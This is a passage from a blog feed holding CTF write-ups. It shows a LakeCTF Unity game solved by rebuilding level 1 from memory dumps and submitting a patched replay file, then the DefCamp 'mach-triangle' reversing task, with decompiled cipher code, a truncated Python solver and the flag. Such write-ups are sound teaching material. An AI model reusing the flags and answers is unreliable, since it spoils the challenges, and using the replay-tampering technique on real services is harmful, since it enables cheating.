<span class="mh">0x5555556c2290</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c22a0</span><span class="o">:</span>	<span class="mh">0x419147ae</span>	<span class="mh">0x404f5c29</span>	<span class="mh">0x401322d1</span>	<span class="mh">0x40a9999a</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">3</span>
<span class="mh">0x5555556c22b0</span><span class="o">:</span>	<span class="mh">0x3f800000</span>	<span class="mh">0x3f800000</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">3</span>
<span class="mh">0x5555556c22c0</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c22d0</span><span class="o">:</span>	<span class="mh">0x415947ae</span>	<span class="mh">0x407b126f</span>	<span class="mh">0x40923d71</span>	<span class="mh">0x3fa00000</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">4</span>
<span class="mh">0x5555556c22e0</span><span class="o">:</span>	<span class="mh">0x3f8b851f</span>	<span class="mh">0x3ffeb852</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">4</span>
<span class="mh">0x5555556c22f0</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c2300</span><span class="o">:</span>	<span class="mh">0x412e6666</span>	<span class="mh">0x407b126f</span>	<span class="mh">0x40d75c29</span>	<span class="mh">0x3fa00000</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">5</span>
<span class="mh">0x5555556c2310</span><span class="o">:</span>	<span class="mh">0x3f8b851f</span>	<span class="mh">0x3ffeb852</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">5</span>
<span class="mh">0x5555556c2320</span><span class="o">:</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x80000000</span>	<span class="mh">0x3f800000</span>
<span class="mh">0x5555556c2330</span><span class="o">:</span>	<span class="mh">0x40b20c4a</span>	<span class="mh">0x40266666</span>	<span class="mh">0x40d1eb85</span>	<span class="mh">0x405d70a4</span> <span class="err">#</span> <span class="n">X</span><span class="p">,</span><span class="n">Y</span><span class="p">,</span><span class="n">Z</span> <span class="n">coordinates</span> <span class="n">and</span> <span class="n">scaleX</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">6</span>
<span class="mh">0x5555556c2340</span><span class="o">:</span>	<span class="mh">0x3f8b851f</span>	<span class="mh">0x3ec28f5c</span>	<span class="mh">0x00000000</span>	<span class="mh">0x0f000000</span> <span class="err">#</span> <span class="n">scaleY</span> <span class="n">and</span> <span class="n">scaleZ</span> <span class="n">of</span> <span class="n">block</span> <span class="mi">6</span>
</code></pre></div></div>

<p>Now that I know how the level data is stored in memory, I can easily reconstruct all the relevant information (spawn point, flag point, blocks data) for level 1 by repeating the same process.</p>

<p>By doing so, I obtained the following data for level 1:</p>
<pre><code class="language-python3"># x coordinates of the blocks
x = [24.280000686645508, 2.619999885559082, 18.15999984741211, 14.1899995803833, 12.010000228881836, 10.012999534606934, 8.09000015258789, 6.320000171661377, 17.170000076293945, 18.170000076293945, 16.079999923706055]
# y coordinates of the blocks
y = [1.7300000190734863, 10.510000228881836, 5.909999847412109, 9.569999694824219, 10.572999954223633, 11.770999908447266, 11.770999908447266, 11.770999908447266, 6.380000114440918, 7.050000190734863, 8.300000190734863]
# z coordinates of the blocks
z = [33.40999984741211, 36.5, 32.14900207519531, 37.20000076293945, 36.70000076293945, 36.70000076293945, 36.70000076293945, 36.70000076293945, 34.42000198364258, 37.20000076293945, 37.29999923706055]
# scales of the blocks
d1 = [5.099999904632568, 3.069999933242798, 5.300000190734863, 1.600000023841858, 1.600000023841858, 0.5, 0.5, 0.5, 1.25, 1.25, 1.5]
d2 = [5.786459922790527, 1.3899999856948853, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.4000000059604645, 1.090000033378601, 1.090000033378601]
d3 = [13.653719902038574, 2.640000104904175, 1.0, 1.0, 1.0, 1.5, 1.5, 1.5, 1.9900000095367432, 1.9900000095367432, 0.3199999928474426]

# x,y,z of the spawn point/blue block
blue_block = [25.368999481201172, 5.715000152587891, 29.850000381469727]

# x,y,z of the flag
flag = [1.9299999475479126, 13.029999732971191, 36.900001525878906]
</code></pre>

<h1 id="reconstructing-the-level-1">Reconstructing the level 1</h1>
<p>Now that I have all the data needed to reconstruct level 1, I just need to write a script that changes objects properties in the Unity game to match level 1 data.</p>

<p>For this purpose I used again <a href="https://github.com/sinai-dev/UnityExplorer">UnityExplorer</a>:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">UnityEngine</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>

<span class="c1">// ===== YOUR DATA =====</span>
<span class="kt">float</span><span class="p">[]</span> <span class="n">x</span> <span class="p">=</span> <span class="p">{</span><span class="m">24.2800007f</span><span class="p">,</span> <span class="m">2.6199999f</span><span class="p">,</span> <span class="m">18.16f</span><span class="p">,</span> <span class="m">14.19f</span><span class="p">,</span> <span class="m">12.01f</span><span class="p">,</span> <span class="m">10.013f</span><span class="p">,</span> <span class="m">8.09f</span><span class="p">,</span> <span class="m">6.32f</span><span class="p">,</span> <span class="m">17.17f</span><span class="p">,</span> <span class="m">18.17f</span><span class="p">,</span> <span class="m">16.08f</span><span class="p">};</span>
<span class="kt">float</span><span class="p">[]</span> <span class="n">y</span> <span class="p">=</span> <span class="p">{</span><span class="m">1.73f</span><span class="p">,</span> <span class="m">10.51f</span><span class="p">,</span> <span class="m">5.91f</span><span class="p">,</span> <span class="m">9.57f</span><span class="p">,</span> <span class="m">10.573f</span><span class="p">,</span> <span class="m">11.771f</span><span class="p">,</span> <span class="m">11.771f</span><span class="p">,</span> <span class="m">11.771f</span><span class="p">,</span> <span class="m">6.38f</span><span class="p">,</span> <span class="m">7.05f</span><span class="p">,</span> <span class="m">8.3f</span><span class="p">};</span>
<span class="kt">float</span><span class="p">[]</span> <span class="n">z</span> <span class="p">=</span> <span class="p">{</span><span class="m">33.41f</span><span class="p">,</span> <span class="m">36.5f</span><span class="p">,</span> <span class="m">32.149f</span><span class="p">,</span> <span class="m">37.2f</span><span class="p">,</span> <span class="m">36.7f</span><span class="p">,</span> <span class="m">36.7f</span><span class="p">,</span> <span class="m">36.7f</span><span class="p">,</span> <span class="m">36.7f</span><span class="p">,</span> <span class="m">34.42f</span><span class="p">,</span> <span class="m">37.2f</span><span class="p">,</span> <span class="m">37.3f</span><span class="p">};</span>

<span class="kt">float</span><span class="p">[]</span> <span class="n">d1</span> <span class="p">=</span> <span class="p">{</span><span class="m">5.1f</span><span class="p">,</span> <span class="m">3.07f</span><span class="p">,</span> <span class="m">5.3f</span><span class="p">,</span> <span class="m">1.6f</span><span class="p">,</span> <span class="m">1.6f</span><span class="p">,</span> <span class="m">0.5f</span><span class="p">,</span> <span class="m">0.5f</span><span class="p">,</span> <span class="m">0.5f</span><span class="p">,</span> <span class="m">1.25f</span><span class="p">,</span> <span class="m">1.25f</span><span class="p">,</span> <span class="m">1.5f</span><span class="p">};</span>
<span class="kt">float</span><span class="p">[]</span> <span class="n">d2</span> <span class="p">=</span> <span class="p">{</span><span class="m">5.78646f</span><span class="p">,</span> <span class="m">1.39f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">0.4f</span><span class="p">,</span> <span class="m">1.09f</span><span class="p">,</span> <span class="m">1.09f</span><span class="p">};</span>
<span class="kt">float</span><span class="p">[]</span> <span class="n">d3</span> <span class="p">=</span> <span class="p">{</span><span class="m">13.65372f</span><span class="p">,</span> <span class="m">2.64f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1f</span><span class="p">,</span> <span class="m">1.5f</span><span class="p">,</span> <span class="m">1.5f</span><span class="p">,</span> <span class="m">1.5f</span><span class="p">,</span> <span class="m">1.99f</span><span class="p">,</span> <span class="m">1.99f</span><span class="p">,</span> <span class="m">0.32f</span><span class="p">};</span>

<span class="n">Vector3</span> <span class="n">blueBlock</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Vector3</span><span class="p">(</span><span class="m">25.369f</span><span class="p">,</span> <span class="m">5.715f</span><span class="p">,</span> <span class="m">29.85f</span><span class="p">);</span>
<span class="n">Vector3</span> <span class="n">flagPos</span>   <span class="p">=</span> <span class="k">new</span> <span class="nf">Vector3</span><span class="p">(</span><span class="m">1.93f</span><span class="p">,</span> <span class="m">13.03f</span><span class="p">,</span> <span class="m">36.9f</span><span class="p">);</span>

<span class="c1">// ===== FIND BLOCKS (by name or tag) =====</span>
<span class="c1">// Change this string if your block objects are named differently!</span>
<span class="kt">var</span> <span class="n">blocks</span> <span class="p">=</span> <span class="n">GameObject</span><span class="p">.</span><span class="n">FindObjectsOfType</span><span class="p">&lt;</span><span class="n">Transform</span><span class="p">&gt;()</span>
    <span class="p">.</span><span class="nf">Where</span><span class="p">(</span><span class="n">t</span> <span class="p">=&gt;</span> <span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">.</span><span class="nf">ToLower</span><span class="p">().</span><span class="nf">Contains</span><span class="p">(</span><span class="s">"block"</span><span class="p">))</span>
    <span class="p">.</span><span class="nf">OrderBy</span><span class="p">(</span><span class="n">t</span> <span class="p">=&gt;</span> <span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">ToArray</span><span class="p">();</span>

<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">blocks</span><span class="p">.</span><span class="n">Length</span> <span class="p">&amp;&amp;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
<span class="p">{</span>
    <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">position</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Vector3</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">z</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="n">blocks</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">localScale</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Vector3</span><span class="p">(</span><span class="n">d1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">d2</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">d3</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>

<span class="n">Debug</span><span class="p">.</span><span class="nf">Log</span><span class="p">(</span><span class="s">$"Updated </span><span class="p">{</span><span class="n">Mathf</span><span class="p">.</span><span class="nf">Min</span><span class="p">(</span><span class="n">blocks</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">x</span><span class="p">.</span><span class="n">Length</span><span class="p">)}</span><span class="s"> blocks"</span><span class="p">);</span>


<span class="c1">// ===== BLUE SPAWN BLOCK =====</span>
<span class="kt">var</span> <span class="n">blue</span> <span class="p">=</span> <span class="n">GameObject</span><span class="p">.</span><span class="n">FindObjectsOfType</span><span class="p">&lt;</span><span class="n">Transform</span><span class="p">&gt;()</span>
    <span class="p">.</span><span class="nf">FirstOrDefault</span><span class="p">(</span><span class="n">t</span> <span class="p">=&gt;</span> <span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">.</span><span class="nf">ToLower</span><span class="p">().</span><span class="nf">Contains</span><span class="p">(</span><span class="s">"blue"</span><span class="p">));</span>

<span class="k">if</span><span class="p">(</span><span class="n">blue</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">blue</span><span class="p">.</span><span class="n">position</span> <span class="p">=</span> <span class="n">blueBlock</span><span class="p">;</span>
    <span class="n">Debug</span><span class="p">.</span><span class="nf">Log</span><span class="p">(</span><span class="s">"Blue spawn moved"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="n">Debug</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"Blue block not found"</span><span class="p">);</span>


<span class="c1">// ===== FLAG =====</span>
<span class="kt">var</span> <span class="n">flagObj</span> <span class="p">=</span> <span class="n">GameObject</span><span class="p">.</span><span class="n">FindObjectsOfType</span><span class="p">&lt;</span><span class="n">Transform</span><span class="p">&gt;()</span>
    <span class="p">.</span><span class="nf">FirstOrDefault</span><span class="p">(</span><span class="n">t</span> <span class="p">=&gt;</span> <span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">.</span><span class="nf">ToLower</span><span class="p">().</span><span class="nf">Contains</span><span class="p">(</span><span class="s">"flag"</span><span class="p">));</span>

<span class="k">if</span><span class="p">(</span><span class="n">flagObj</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">flagObj</span><span class="p">.</span><span class="n">position</span> <span class="p">=</span> <span class="n">flagPos</span><span class="p">;</span>
    <span class="n">Debug</span><span class="p">.</span><span class="nf">Log</span><span class="p">(</span><span class="s">"Flag moved"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="n">Debug</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"Flag not found"</span><span class="p">);</span>
</code></pre></div></div>

<p>After running this script inside the Unity game, level 1 was finally reconstructed!</p>

<p><img src="/assets/images/2025-11-30-a_real_ctf-lakeCTF/game_5.PNG" alt="App Interface" /></p>

<h1 id="winning-level-1">Winning level 1</h1>
<p>Now that level 1 was reconstructed, I just had to win it.
Actually it was impossible to win locally, cause the flag collisions were not working, but it didt matter, I just had to reach the starting position after touching the flag.</p>

<p>Then i saved the replay file, patched the level ID using python, opened again the game and uploaded the patched replay file to the verifier.
<img src="/assets/images/2025-11-30-a_real_ctf-lakeCTF/game_6.png" alt="App Interface" /></p>]]></content><author><name>Luca</name></author><category term="writeup" /><category term="writeup" /><category term="reverse engineering" /><category term="windows" /><category term="Unity" /><category term="Rust" /><summary type="html"><![CDATA[Unity game]]></summary></entry><entry><title type="html">DefCamp Quals</title><link href="http://lucapalumbo.xyz/writeup/DefCampQuals/" rel="alternate" type="text/html" title="DefCamp Quals" /><published>2025-09-12T12:00:00+00:00</published><updated>2025-09-12T12:00:00+00:00</updated><id>http://lucapalumbo.xyz/writeup/DefCampQuals</id><content type="html" xml:base="http://lucapalumbo.xyz/writeup/DefCampQuals/"><![CDATA[<h2 id="reverse-engineering---mach-triangle">Reverse Engineering - mach-triangle</h2>

<blockquote>
  <p>Flag: <code class="language-plaintext highlighter-rouge">DCTF{77cf682bd72ae03d3644c1f43b97020fcc6446b2c88c02757be0e46c40dcc90b}</code></p>
</blockquote>

<p>The file provided is a Mach-O 64-bit executable.</p>

<p>The executable reads a password from <code class="language-plaintext highlighter-rouge">argv</code> and validates it. If the password is correct it print ‘Correct’.</p>

<p>The algorithm used to validate the password works like this:</p>
<ul>
  <li>the buffer <code class="language-plaintext highlighter-rouge">buffer_1</code> and <code class="language-plaintext highlighter-rouge">int_buffer</code> are filled in a way that does not depend on user input</li>
  <li>the input is padded to reach length multiple of 8</li>
  <li>a chunk of 8 bytes of the input gets XORed with a <code class="language-plaintext highlighter-rouge">xor_key</code> ( initially an initialization vector )</li>
  <li>this XORed value is passed to a <code class="language-plaintext highlighter-rouge">final</code> function that encrypts it, and the resulting chunk is saved in the output buffer</li>
  <li>the <code class="language-plaintext highlighter-rouge">xor_key</code> is updated with the output of the previous chunk</li>
  <li>a new chunk get xorred and passed to <code class="language-plaintext highlighter-rouge">final</code>, and so on…</li>
</ul>

<p>This is basically a CBC block cipher</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="n">xor_key</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">[</span><span class="mi">8</span><span class="p">])</span><span class="n">IV</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">len_padded</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">j</span> <span class="o">=</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">xorred</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">input_padded</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="n">j</span><span class="p">]</span> <span class="o">^</span> <span class="n">xor_key</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="n">final</span><span class="p">(</span><span class="n">xorred</span><span class="p">,</span><span class="n">buffer_1</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">int_buffer</span><span class="p">,</span><span class="n">output</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
    <span class="n">xor_key</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">[</span><span class="mi">8</span><span class="p">])(</span><span class="n">output</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>

</code></pre></div></div>

<p>The reversed <code class="language-plaintext highlighter-rouge">final</code> function looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="nf">final</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="n">xorred_input</span><span class="p">,</span><span class="n">byte</span> <span class="o">*</span><span class="n">buffer_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">int_buffer</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">out</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">byte</span> <span class="n">bVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">y</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">k</span><span class="p">;</span>
  <span class="n">byte</span> <span class="n">scramble</span> <span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="n">byte</span> <span class="n">byte</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">j</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">integrer</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">m</span><span class="p">;</span>
  <span class="n">byte</span> <span class="n">result</span> <span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="n">byte</span> <span class="o">*</span><span class="n">input</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">div</span><span class="p">;</span>
  
  <span class="n">result</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">[</span><span class="mi">8</span><span class="p">])</span><span class="n">xorred_input</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">m</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">m</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">m</span> <span class="o">=</span> <span class="n">m</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">div</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">div</span> <span class="o">=</span> <span class="n">m</span> <span class="o">/</span> <span class="n">size</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">result</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">result</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">^</span> <span class="n">buffer_1</span><span class="p">[</span><span class="n">m</span> <span class="o">-</span> <span class="n">div</span> <span class="o">*</span> <span class="n">size</span><span class="p">];</span>
  <span class="p">}</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">integrer</span> <span class="o">=</span> <span class="n">int_buffer</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">j</span> <span class="o">=</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">byte</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">integrer</span> <span class="o">+</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">j</span> <span class="o">+</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">i</span><span class="p">;</span>
      <span class="n">result</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">sbox</span><span class="p">)[(</span><span class="kt">int</span><span class="p">)(</span><span class="n">uint</span><span class="p">)(</span><span class="n">result</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^</span> <span class="n">byte</span><span class="p">)];</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">k</span> <span class="o">=</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">scramble</span><span class="p">[(</span><span class="n">k</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">result</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">5</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span>
    <span class="n">result</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="n">scramble</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">y</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">y</span> <span class="o">=</span> <span class="n">y</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">result</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="n">result</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">byte</span><span class="p">)(</span><span class="n">integrer</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)((</span><span class="n">y</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">&amp;</span> <span class="mh">0x1f</span><span class="p">));</span>
      <span class="n">bVar1</span> <span class="o">=</span> <span class="n">rot_left</span><span class="p">(</span><span class="n">result</span><span class="p">[</span><span class="n">y</span><span class="p">],(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">);</span>
      <span class="n">result</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="n">bVar1</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">___memcpy_chk</span><span class="p">(</span><span class="n">out</span><span class="p">,</span><span class="n">result</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mh">0xffffffffffffffff</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So I implemented a python script to reverse this process:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="n">SBOX</span> <span class="o">=</span> <span class="p">[</span>
    <span class="mh">0xd7</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span>
    <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0xc4</span><span class="p">,</span> <span class="mh">0x3a</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x78</span><span class="p">,</span> <span class="mh">0x2b</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span>
